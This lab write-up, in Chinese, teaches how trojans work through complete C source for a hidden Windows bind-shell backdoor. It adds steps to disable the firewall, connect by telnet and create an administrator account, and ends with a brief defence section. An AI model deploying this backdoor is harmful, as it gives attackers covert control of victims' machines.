一、实验目的:
1.了解木马的实现原理
2.了解基本的防护方法
二、预备知识:
木马通常有两个可执行程序:一个是客户端,即控制端;另一个是服务端,即被控制端。植入被种者电脑的是“服务器”部分,而所谓的“黑客”正是利用“控制器”进入运行了“服务器”的电脑。运行了木马程序的“服务器”以后,被种者的电脑就会有一个或几个端口被打开,使黑客可以利用这些打开的端口进入电脑系统,安全和个人隐私也就全无保障了!木马的设计者为了防止木马被发现,而采用多种手段隐藏木马。木马的服务一旦运行并被控制端连接,其控制端将享有服务端的大部分操作权限,例如给计算机增加口令,浏览、移动、复制、删除文件,修改注册表,更改计算机配置等。
三、实验过程:
1.首先从这个地方http://tools.hetianlab.com/tools/mini.rar
获取到对应的木马代码,
#pragma comment(lib, "ws2_32.lib")
#pragma comment(linker,"/subsystem:\"windows\" /entry:\"mainCRTStartup\"")
#include <winsock2.h>
#include <windows.h>
#define MasterPort 999 //定义监听端口999
main() //主函数入口
{
WSADATA WSADa;
sockaddr_in SockAddrIn;
SOCKET CSocket,SSocket;
int iAddrSize;
PROCESS_INFORMATION ProcessInfo;
STARTUPINFO StartupInfo;
char szCMDPath[255];
//分配内存资源,初始化数据:
ZeroMemory(&ProcessInfo, sizeof(PROCESS_INFORMATION));
ZeroMemory(&StartupInfo, sizeof(STARTUPINFO));
ZeroMemory(&WSADa, sizeof(WSADATA));
//获取cmd路径
GetEnvironmentVariable("COMSPEC",szCMDPath,sizeof(szCMDPath));
//加载ws2_32.dll:
WSAStartup(0x0202,&WSADa);
//设置本地信息和绑定协议,建立socket,代码如下:
SockAddrIn.sin_family = AF_INET;
SockAddrIn.sin_addr.s_addr = INADDR_ANY;
SockAddrIn.sin_port = htons(MasterPort);
CSocket = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);
//设置绑定端口999:
bind(CSocket,(sockaddr *)&SockAddrIn,sizeof(SockAddrIn));
//设置服务器端监听端口:
listen(CSocket,1);
iAddrSize = sizeof(SockAddrIn);
//开始连接远程服务器,并配置隐藏窗口结构体:
SSocket = accept(CSocket,(sockaddr *)&SockAddrIn,&iAddrSize);
StartupInfo.cb = sizeof(STARTUPINFO);
StartupInfo.wShowWindow = SW_HIDE;
StartupInfo.dwFlags = STARTF_USESTDHANDLES |
STARTF_USESHOWWINDOW;
StartupInfo.hStdInput = (HANDLE)SSocket;
StartupInfo.hStdOutput = (HANDLE)SSocket;
StartupInfo.hStdError = (HANDLE)SSocket;
//创建匿名管道:
CreateProcess(NULL, szCMDPath, NULL, NULL, TRUE, 0, NULL, NULL, &StartupInfo, &ProcessInfo);
WaitForSingleObject(ProcessInfo.hProcess, INFINITE);
CloseHandle(ProcessInfo.hProcess);
CloseHandle(ProcessInfo.hThread);
//关闭进程句柄:
closesocket(CSocket);
closesocket(SSocket);
WSACleanup();
//关闭连接卸载ws2_32.dll
return 0;
}
然后创建cpp文件并且编译链接之后,生成对应的exe文件,
2.关闭防火墙,运行这个程序,
3.在cmd命令行窗口中,使用ipconcif命令获取本机的ip地址为10.1.1.8,然后netstat -an检查当前的999端口处于监听状态
4.之后,就可以在另一台机器上面利用telnet 10.1.1.8 999 命令就可以实现命令行的控制了,包括使用net user命令检查用户,用net user hacker 123456 /add命令添加新的用户 , 以及将这个用户添加到最高权限组等
效果如下:
第二部分:木马的防护
1.在控制面版中打开防火墙启动
2.再次打开mini.exe的时候就会出现提示窗口,如果这时候不阻止,就会在防火墙的例外窗口看到mini.exe的程序运行
3.可以直接用任务管理器结束这个进程